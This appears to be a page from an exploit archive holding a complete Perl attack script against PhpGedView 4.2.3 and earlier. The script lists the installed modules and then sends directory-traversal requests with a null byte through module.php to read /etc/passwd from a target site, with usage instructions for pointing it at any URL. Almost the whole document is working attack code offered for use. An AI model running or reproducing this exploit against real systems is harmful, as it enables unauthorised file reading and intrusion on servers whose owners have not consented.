exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PhpGedView 4.2.3 Local File Inclusion

PhpGedView 4.2.3 Local File Inclusion
Posted Jan 5, 2011
Authored by dun

PhpGedView versions 4.2.3 and below suffer from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 19ea92c71589238fc0dd4885e41ff3a75c2f0448d77ca49c1fcca0f5ccb555ee

PhpGedView 4.2.3 Local File Inclusion

Change Mirror Download
#!/usr/bin/perl -w

# :::::::-. ... ::::::. :::.
# ;;, `';, ;; ;;;`;;;;, `;;;
# `[[ [[[[' [[[ [[[[[. '[[
# $$, $$$$ $$$ $$$ "Y$c$$
# 888_,o8P'88 .d888 888 Y88
# MMMMP"` "YmmMMMM"" MMM YM
# [ Discovered by dun \ posdub[at]gmail.com ]
#
##################################################################
# [ PhpGedView <= 4.2.3 ] Local File Inclusion Vulnerability #
##################################################################
#
# Script: "PhpGedView is a revolutionary genealogy program which
# allows you to view and edit your genealogy on your website..."
#
# Script: http://www.phpgedview.net/
# Download: http://sourceforge.net/projects/phpgedview/
#
# Usage: perl expl.pl http://site.com/phpgedview/
#
##################################################################
#[ dun / 2011-01-05 ]

use IO::Socket;
use Socket;
use IO::Select;


my @modules;

if(scalar(@ARGV) < 1) {
print "\nUsage: perl expl.pl http://site.com/phpgedview/\n\n";
exit;
}

print "\033[32m[1] \033[0mChecking installed PGV modules..\n";
@modules=get_modules_list($ARGV[0].'/modules/');
print "\033[32m[2] \033[0mTrying to read /etc/passwd file..\n";
p(\@modules, $ARGV[0].'/', '/etc/passwd');

sub http_query {

my $page="";
my $url=$_[0];
my $ua="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)";
if(defined($_[1]) && defined($_[2])) {
$host=$_[1];
$port=$_[2];
$get="GET $url HTTP/1.0\r\n$ua\r\nConnection: Close\r\n\r\n";
} else {
$port=80;
$url=~s/http:\/\///;
$host=$url;
$query=$url;
$host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};

$get="GET $query HTTP/1.0\r\nHost: $host\r\n$ua\r\nConnection: Close\r\n\r\n";
}
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
print $sock $get;
my @r = <$sock>;
$page="@r";
close($sock);

return $page;
}

sub get_modules_list {
my $host = $_[0];
my $page="";
my @modules1=(
"FCKeditor",
"GEDFact_assistant",
"JWplayer",
"batch_update",
"cms_interface",
"gallery2",
"googlemap",
"lightbox",
"punbb",
"research_assistant",
"sitemap",
"slideshow",
"wordsearch"
);

$page = http_query($host);
while($page =~ m/(.*)<(a|A)\s(href|HREF)="([^\/]+)\/">/g){
push (@modules2, $4);
}
if(@modules2) {
print " Installed modules: @modules2\n";
return @modules2;
} else {
print " No info about installed modules..\n";
return @modules1;
}
}

sub p {
my($mods, $host, $file)=@_;
my $page="";
foreach $r(@{$mods}) {
$q="$host"."module.php?mod=$r&pgvaction=".("/.."x10)."$file%00";
$page=http_query($q);
@lines = split (/\n/, $page);
if($page=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){
print "\033[32mModule: $r\n";
print "Adress: $q\n";
print "File: /etc/passwd:\033[0m (Press ENTER) ";
if(<STDIN>) {
print "\n\n";
for(@lines) {
if($_=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){
print $_."\n";
}
}
}
return 0;
}
}
print "\033[31mFailed :(\033[0m\n"
}

##################################################################

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close